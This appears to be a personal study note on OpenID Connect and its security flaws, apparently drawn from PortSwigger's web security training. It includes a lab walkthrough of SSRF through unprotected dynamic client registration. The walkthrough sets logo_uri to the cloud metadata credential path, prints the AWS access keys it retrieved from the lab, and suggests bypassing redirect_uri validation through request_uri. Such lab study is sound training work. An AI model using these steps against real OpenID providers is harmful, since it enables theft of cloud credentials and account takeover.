What is OpenID Connect?
OpenID Connect builds on OAuth to add an identity and authentication layer, making it better suited for logging in users.
OAuth was originally designed for delegating access to resources, not authentication. Many websites adapted it for authentication by requesting basic user data and assuming the user had logged in with the OAuth provider. However, these custom methods had issues:
- Client apps couldn’t tell how or when users authenticated.
- Each provider required unique setups with different endpoints and scopes, making integration complex.
OpenID Connect solves these problems by standardizing identity features, making OAuth-based authentication more consistent and reliable.
How Does OpenID Connect Work?
OpenID Connect fits seamlessly into regular OAuth flows. The main difference for client apps is the addition of a standardized set of scopes (same for all providers) and a new response type: id_token
.
OpenID Connect Roles
The roles for OpenID Connect are essentially the same as for standard OAuth. The main difference is that the specification uses slightly different terminology.
- Relying party - The application that is requesting authentication of a user. This is synonymous with the OAuth client application.
- End user - The user who is being authenticated. This is synonymous with the OAuth resource owner.
- OpenID provider - An OAuth service that is configured to support OpenID Connect.
OpenID Connect Claims and Scopes
In OpenID Connect, “claims” are key-value pairs that represent user information, like "family_name":"Montoya"
.
Unlike OAuth, where scopes vary by provider, OpenID Connect uses a standard set of scopes. To use OpenID Connect, the client app must include the openid
scope in the authorization request. Additional standard scopes include:
profile
email
address
phone
Each scope provides access to specific user claims. For example, the openid profile
scope gives access to identity-related claims like family_name
, given_name
, and birth_date
.
ID Token
OpenID Connect introduces the id_token
response type, which returns a signed JSON Web Token (JWT). This token contains claims based on the requested scope and details about when the user was last authenticated. The client app can use this to check if the user is properly authenticated.
The main advantage of the id_token
is that it reduces the number of requests needed, improving performance. Instead of requesting an access token and user data separately, the ID token with this data is sent right after the user authenticates.
Unlike basic OAuth, which relies on a trusted channel, the integrity of an ID token is secured by a cryptographic signature, helping protect against some man-in-the-middle attacks. However, since the keys for signature verification are transmitted over the same channel (usually in /well-known/jwks.json
), some attacks are still possible.
OAuth supports multiple response types, so a client can request both an id_token
and other OAuth response types like token
or code
in the same request. This way, both an ID token and an access code or token are sent to the client at once.
Identifying OpenID Connect
If OpenID Connect is being used by the client app, you can easily check by looking for the required openid
scope in the authorization request.
Even if the login doesn’t seem to use OpenID Connect, you can test if the OAuth service supports it. Try adding the openid
scope or changing the response type to id_token
and see if an error occurs.
As with basic OAuth, check the OAuth provider’s documentation for information on OpenID Connect support. You can also look at the standard endpoint /.well-known/openid-configuration
for the configuration file.
OpenID Connect Vulnerabilities
We’ll look at some additional vulnerabilities that may be introduced by some of the extra features of OpenID Connect.
Unprotected Dynamic Client Registration
The OpenID specification provides a standard way for client applications to register with an OpenID provider. If dynamic client registration is supported, the client can register itself by sending a POST request to a dedicated /registration
endpoint, typically listed in the provider’s documentation or configuration file.
In the request body, the client submits key details about itself in JSON format, such as a list of whitelisted redirect URIs. Additional information, like the endpoints it wants to expose or the app’s name, may also be included. A typical registration request might look like this:
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256",
…
}
The OpenID provider should require the client to authenticate itself, for example, with an HTTP bearer token as shown above. However, some providers may allow registration without authentication, which could let an attacker register a malicious client. This could lead to problems depending on how these attacker-controlled properties are used.
For instance, some of the properties in the registration request can be URIs. If any of these are accessed by the OpenID provider, it could cause second-order SSRF vulnerabilities unless extra security measures are implemented.
Lab: SSRF via OpenID Dynamic Client Registration
Abstract
This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF.
To solve the lab, craft an SSRF attack to accessÂ
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
 and steal the secret access key for the OAuth provider’s cloud environment.
Info
You can log in to your own account using the following credentials:Â
wiener:peter
The authorization request reveals that the application utilizes OpenID, as indicated by the scope
parameter:
GET /auth?client_id=inqmuq2nmb4i0j6hja2n0&redirect_uri=https://0ab600c00463a51280f1ad6f00360089.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net
Send request to /.well-known/openid-configuration
:
GET /.well-known/openid-configuration HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net
Receive the following JSON:
{
"authorization_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/auth",
"claims_parameter_supported": false,
"claims_supported": [
"sub",
"name",
"email",
"email_verified",
"sid",
"auth_time",
"iss"
],
"code_challenge_methods_supported": [
"S256"
],
"end_session_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/session/end",
"grant_types_supported": [
"authorization_code",
"refresh_token"
],
"id_token_signing_alg_values_supported": [
"HS256",
"ES256",
"EdDSA",
"PS256",
"RS256"
],
"issuer": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net",
"jwks_uri": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/jwks",
"registration_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/reg",
"response_modes_supported": [
"form_post",
"fragment",
"query"
],
"response_types_supported": [
"code"
],
"scopes_supported": [
"openid",
"offline_access",
"profile",
"email"
],
"subject_types_supported": [
"public"
],
"token_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"token_endpoint_auth_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"token_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token",
"request_object_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"request_parameter_supported": false,
"request_uri_parameter_supported": true,
"require_request_uri_registration": true,
"userinfo_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/me",
"userinfo_signing_alg_values_supported": [
"HS256",
"ES256",
"EdDSA",
"PS256",
"RS256"
],
"introspection_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token/introspection",
"introspection_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"introspection_endpoint_auth_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"revocation_endpoint": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/token/revocation",
"revocation_endpoint_auth_methods_supported": [
"none",
"client_secret_basic",
"client_secret_jwt",
"client_secret_post",
"private_key_jwt"
],
"revocation_endpoint_auth_signing_alg_values_supported": [
"HS256",
"RS256",
"PS256",
"ES256",
"EdDSA"
],
"claim_types_supported": [
"normal"
]
}
Found the registration endpoint: /reg
.
Try to register an application:
POST /reg HTTP/2
Host: oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: https://0ab600c00463a51280f1ad6f00360089.web-security-academy.net/
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256"
}
Response:
HTTP/2 201 Created
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Sun, 24 Nov 2024 07:16:23 GMT
Keep-Alive: timeout=5
Content-Length: 1045
{
"application_type": "web",
"grant_types": [
"authorization_code"
],
"id_token_signed_response_alg": "RS256",
"post_logout_redirect_uris": [],
"require_auth_time": false,
"response_types": [
"code"
],
"subject_type": "public",
"token_endpoint_auth_method": "client_secret_basic",
"introspection_endpoint_auth_method": "client_secret_basic",
"revocation_endpoint_auth_method": "client_secret_basic",
"require_signed_request_object": false,
"request_uris": [],
"client_id_issued_at": 1732432583,
"client_id": "DvxGLfF47cp60A3jGqFz3",
"client_name": "My Application",
"client_secret_expires_at": 0,
"client_secret": "_LBBQnlMeYVQLNnlM0izYOAso-PzeLwgrKZEd1QON7Wz3Ha05LIvQuMlYTcW1geHe6sNin0reJOkdCNr-jbkOA",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"logo_uri": "https://client-app.com/logo.png",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"registration_client_uri": "https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/reg/DvxGLfF47cp60A3jGqFz3",
"registration_access_token": "wxT5rGXyo-M_peDg7V43HOm0-g8kDftGjuvlwwltYFP"
}
In the first attempt, I replace all URLs with the URL of the Collaborator. Then, I send the authorization request through the browser:
https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/auth?
client_id=[CLIENT-ID]&
redirect_uri=https://[COLLABORATOR-URL]/callback&
response_type=code&
scope=openid%20profile%20email
The consent page sends a request to https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/client/[CLIENT-ID]/logo
to retrieve the logo image associated with the client. During this process, the Collaborator receives several requests, which confirms that a Server-Side Request Forgery (SSRF) vulnerability exists.
Furthermore, the logo retrieval URL can be manipulated via the logo_uri
parameter in the client registration request. By modifying this parameter to http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
, we can register a new application with a custom logo URI. Upon sending the authorization request again in the browser, the request to https://oauth-0aba0028048ba58a80aeabd802470084.oauth-server.net/client/[CLIENT-ID]/logo
returns the following JSON response:
{
"Code" : "Success",
"LastUpdated" : "2024-11-24T07:10:08.520637686Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "SflIxv1Yi163qLUPEi2A",
"SecretAccessKey" : "GMLmc5znqsnOpbg0Hr046PvxQvDV4fjWuB51DYeY",
"Token" : "elDTYtU66HFcJQQuJ2KfP0py4GaI3xFkS8pKNJFdeQ1E9OIcy3l5mMloJtqhLUU4BHiqoTvNzaGWae4YrnVyJnUeiu83UNyMXGckHkQoXTodvx9AzIV3DLk1fDZbgl76lmCjkapS0IFawICR4teUWxAWr3IG5H2rJHEsrH93bKig8k0S3QIGU0MOoUwqQAkxCnI4mPrKctK14KIHeq9uvavnvZFtfe6Ngs5lL7KhVdTTyuuXjWs8ZTMNIB16AdPz",
"Expiration" : "2030-11-23T07:10:08.520637686Z"
}
As we can see, the secret key is GMLmc5znqsnOpbg0Hr046PvxQvDV4fjWuB51DYeY
.
Allowing Authorization Requests by Reference
So far, we’ve looked at submitting authorization parameters via the query string. Some OpenID providers allow you to send them as a JSON Web Token (JWT) instead. If supported, you can use a request_uri
parameter that points to a JWT containing the OAuth parameters. This can be another potential SSRF vector, depending on the OAuth service’s configuration.
This feature might also allow you to bypass validation of parameters like redirect_uri
, which could be validated in the query string but not in the JWT.
To check if this is supported, look for request_uri_parameter_supported
in the documentation or configuration. Alternatively, try adding the request_uri
parameter to see if it works, as some servers support it even if not explicitly mentioned.
Related
list
from outgoing([[Port Swigger - Extending OAuth with OpenID Connect]])
sort file.ctime asc